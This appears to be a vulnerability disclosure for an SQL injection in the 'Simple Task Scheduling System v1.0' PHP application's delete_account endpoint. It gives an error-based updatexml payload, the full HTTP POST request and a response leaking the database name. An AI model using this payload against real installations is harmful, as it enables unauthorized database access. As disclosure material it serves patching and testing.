

## Simple Task Scheduling System v1.0 by oretnom23 has SQL injection

vendors: https://www.sourcecodester.com/php/15328/simple-task-scheduler-system-phpoop-free-source-code.html

The program is built using the xmapp-php5.6 version

Vulnerability File: /tss/classes/Master.php?f=delete\_account

Vulnerability location: /tss/classes/Master.php?f=delete\_account, id

You need to first create the library by executing the following sql statement in the database tss\_db

```
CREATE TABLE `accounts` (
   `id` int(30) NOT NULL,
   `user_id` int(30) NOT NULL,
   `name` text NOT NULL,
   `status` tinyint(1) NOT NULL DEFAULT '1',
   `delete_flag` tinyint(1) NOT NULL DEFAULT '0',
   `date_created` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,
   `date_updated` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMES
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
```

db\_name = tss\_db;length=6

[+] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak
place ---> id

POST /tss/classes/Master.php?f=delete\_account HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: \_ga=GA1.1.1382961971.1655097107; PHPSESSID=tc6akb10bh652defck09t9eug4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

POST
/tss/classes/Master.php?f=delete\_account
HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0;
WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,application
/xml;q=0.9,\*/\*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-Us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: \_ga=GA1.1.1382961971.1655097107;
PHPSESSID=tc6akb10bh652defck09t9eug4
Connection: close
Content-Type:
application/x-www-form-urlencoded
Content-Length: 65
id=3' and updatexml(1,concat(0x7e,(select

database()),0x7e),0)---

HTTP/1.1 200 OK
Date: Sun, 17 Jul 2022 09:27:54 GMT
Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check
Pragma: no-cache
Access-Control-Allow-Origin: \*
Content-Length: 60
Connection: close
Content-Type: text/html; charset=UTF-8
{"status": "failed", "error": "XPATH syntax error: '~tss\_db~'"}